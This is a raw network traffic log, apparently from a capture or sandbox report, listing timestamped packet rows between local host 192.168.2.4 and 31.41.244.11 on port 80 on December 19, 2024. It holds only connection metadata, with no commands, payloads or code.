Dec 19, 2024 20:11:12.299062014 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.299086094 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.299137115 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.302037001 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.302114964 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.302159071 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.302203894 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.305061102 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.305149078 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.305207014 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.305291891 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.308202028 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.308254004 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.308403969 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.308451891 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.311243057 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.311316013 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.311359882 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.311429977 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.314260960 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.314325094 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.314346075 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.314393997 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.317285061 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.317425966 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.317491055 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.317554951 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.320264101 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.320318937 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.320396900 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.320446014 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.323379993 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.323478937 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.323498011 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.323534012 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.416718960 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.416870117 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.416955948 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.417031050 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.418044090 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.418097973 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.418124914 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.418303013 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.420330048 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.420382023 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.420458078 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.420533895 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.422748089 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.422838926 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.422877073 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.422979116 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.425219059 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.425292969 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.425311089 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.425343037 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.427638054 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.427711010 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.427728891 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.427762985 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.429949045 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.430100918 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.430131912 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.430185080 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.432262897 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.432338953 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.432413101 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.432524920 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.434501886 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.434556007 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.434573889 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.434652090 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.436727047 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.436829090 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.436861038 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.436913967 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.438935041 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.439004898 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.439011097 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.439073086 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.441137075 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.441220999 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.441247940 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.441312075 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.443289995 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.443365097 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.443375111 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.443650961 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.445440054 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.445508003 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.445518970 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.445641994 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.447627068 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.447684050 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.447700977 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.447741985 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.449593067 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.449682951 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.449711084 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.449765921 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.451693058 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.451729059 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.451776028 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.451776028 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.453669071 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.453717947 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.453773022 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.453828096 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.455792904 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.455845118 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.455873013 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.455909014 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.457808018 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.457891941 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.457947016 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.458041906 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.460194111 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.460305929 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.460453987 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.460504055 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.462085962 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.462125063 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.462152958 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.462177992 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.464479923 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.464576006 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.464637041 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.464709997 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.466646910 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.466659069 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.466703892 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.466768980 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.468149900 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.468209982 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.468288898 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.468405008 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.470292091 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.470304012 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.470410109 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.472263098 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.472439051 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.472470999 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.472498894 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.474389076 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.474447012 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.474461079 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.474580050 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.476540089 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.476766109 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.476789951 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.476896048 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.478507042 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.478562117 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.478622913 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.478673935 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.480637074 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.480742931 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.480809927 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.480871916 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.482590914 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.482650995 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.482759953 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.482848883 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.484667063 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.484719992 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.484783888 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.484839916 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.486728907 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.486797094 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.486804962 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.486917019 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.488816023 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.488879919 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.488922119 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.488922119 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.490840912 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.490899086 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.490967989 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.491029978 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.492968082 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.493036032 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.493055105 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.493103981 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.495058060 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.495121002 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.495145082 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.495199919 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.497075081 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.497133017 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.497224092 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.497273922 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.499325991 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.499367952 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.499377966 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.499551058 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.501270056 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.501353025 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.501462936 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.501508951 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.503232956 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.503300905 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.503334999 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.503391981 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.505408049 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.505469084 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.505542994 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.505590916 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.507539988 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.507551908 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.507608891 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.507635117 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.509448051 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.509530067 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.509562969 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.509663105 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.511513948 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.511607885 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.511702061 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.511743069 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.513581038 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.513660908 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.513705969 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.513758898 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.515940905 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.516036987 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.516083002 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.516139030 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.517767906 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.517827988 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.518246889 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.518316031 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.519819021 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.519875050 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.519922018 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.519979000 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.521852016 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.521908045 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.521951914 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.522005081 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.524185896 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.524244070 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.524271011 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.524372101 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.525995970 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.526067019 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.608997107 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.609070063 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.609105110 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.609167099 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.609766006 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.609893084 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.609951019 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.610021114 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.611442089 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.611493111 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.611612082 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.611699104 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.613116980 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.613172054 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.613190889 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.613234997 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.614716053 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.614770889 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.614849091 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.614965916 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.616444111 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.616544008 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.616554022 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.616595030 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.618083954 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.618144035 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.618216038 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.618274927 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.619687080 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.619765043 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.619776964 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.619916916 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.621182919 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.621279001 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.621311903 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.621354103 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.622740984 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.622808933 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.622838974 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.622956038 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.624288082 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.624382973 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.624459028 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.624572039 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.625931978 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.625998020 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.626141071 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.626214981 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.627305984 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.627362967 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.627448082 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.627501965 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.628844023 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.628895998 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.628941059 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.629007101 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.630377054 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.630479097 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.630482912 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.630541086 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.631792068 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.631896019 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.631902933 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.631972075 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.633405924 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.633456945 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.633477926 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.633532047 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.634809017 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.634866953 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.634902000 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.634989977 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.636302948 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.636375904 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.636439085 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.636512041 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.638005018 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.638034105 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.638063908 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.638120890 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.639271021 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.639333963 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.639429092 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.639480114 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.640676975 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.640764952 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.640855074 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.640896082 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.642194033 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.642246008 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.642312050 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.642409086 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.643631935 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.643688917 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.643806934 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.643872023 CET	49768	80	192.168.2.4	31.41.244.11
